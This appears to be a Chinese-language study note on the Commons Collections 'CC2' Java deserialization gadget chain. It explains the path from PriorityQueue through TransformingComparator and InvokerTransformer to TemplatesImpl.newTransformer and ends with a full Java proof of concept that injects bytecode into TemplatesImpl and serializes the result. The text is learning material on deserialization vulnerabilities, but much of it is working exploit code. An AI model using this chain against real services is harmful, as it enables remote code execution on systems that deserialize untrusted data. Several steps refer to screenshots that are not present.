CC2-类的动态加载
环境搭建
环境跟CC4一样, https://www.cnblogs.com/starme/p/18464935
大概链子:
参考: https://www.bilibili.com/video/BV1NQ4y1q7EU?t=1.8
分析
因为C4除4.0的其他版本去掉了InvokerTranformer的Serializable继承,导致无法序列化
CC2跟CC4差不多
不过不走实例化的过程,直接通过TemplatesImpI.newTransfomer来执行代码
- 怎么走?
利用的是InvokerTransform.tranform直接调用TemplatesImpl.newTransformer方法,而跳过了InstantiateTransformer.transform和TrAXFilter.TrAXFilter
也就是说实现:
TransformingComparator.compare -> InvokerTransformer.transform -> TemplatesImpl.newTransformer
即:
InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer",new Class[]{Templates.class},new Object[]{templates});
// ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
TransformingComparator transformingComparator =
new TransformingComparator(invokerTransformer, null);
调的时候发现问题:
这还真是老毛病了。。。
尝试:
不过并没有调试成功:
怎么联系invokerTransformer.transform -> TemplatesImpl.newTransformer?
即怎么将InstantiateTransformer.transform -> TrAXFilter.trAFilter ->TemplatesImpl.newTransformer
等效于:
invokerTransformer.transform -> TemplatesImpl.newTransformer ?
在TrAXFilter.TrAXFilter中出现的是:
templates.newTransformer();
而在invokerTransformer.transform 中出现的是:
final Class<?> cls = input.getClass();
final Method method = cls.getMethod(iMethodName, iParamTypes);
return (O) method.invoke(input, iArgs);
这两个的利用情况都不同
最后poc是将这里传进去的:
进入add内部,发现是:
queue[0] = templatesImpl;
而priorityQueue.add(1); 的效果是:
siftUp(i, e);
进入了siftUp
进入heapify方法时:
进入siftDownUsingComparator方法:
进入compare方法:
效果是:
invokerTransform.transform(templatesImpl)
进入transform:
相当于调用:
final Class<?> cls = input.getClass();
final Method method = cls.getMethod(iMethodName, iParamTypes);
return (O) method.invoke(input, iArgs);
cls = templatesImpl.getClass();
method = cls.getMethod("newTransformer",{})
templatesImpl.newTransformer();
代码
package org.example.CC;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC2 {
public static void main(String[] args) throws Exception {
// TemplatesImpl.newTransformer -> defineClass -> newInstance
TemplatesImpl templates = new TemplatesImpl();
// templates.newTransformer();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\__easyHelper__\\CC4_Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer",
new Class[]{},
new Object[]{});
TransformingComparator transformingComparator =
new TransformingComparator<>(new ConstantTransformer<>(1));
// 先改为没用的,从invokerTransformer 改为 new ConstantTransformer<>(1)
// transformingComparator.compare(TrAXFilter.class,null);
PriorityQueue priorityQueue = new PriorityQueue<>( transformingComparator); // 构造方法也要选好
priorityQueue.add(templates); // 之前值为1,我记得是改的size
priorityQueue.add(1);
Class c = transformingComparator.getClass();
Field transformerField = c.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator,invokerTransformer); // 实现了invokerTransformer.transform
// TrAXFilter
// serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}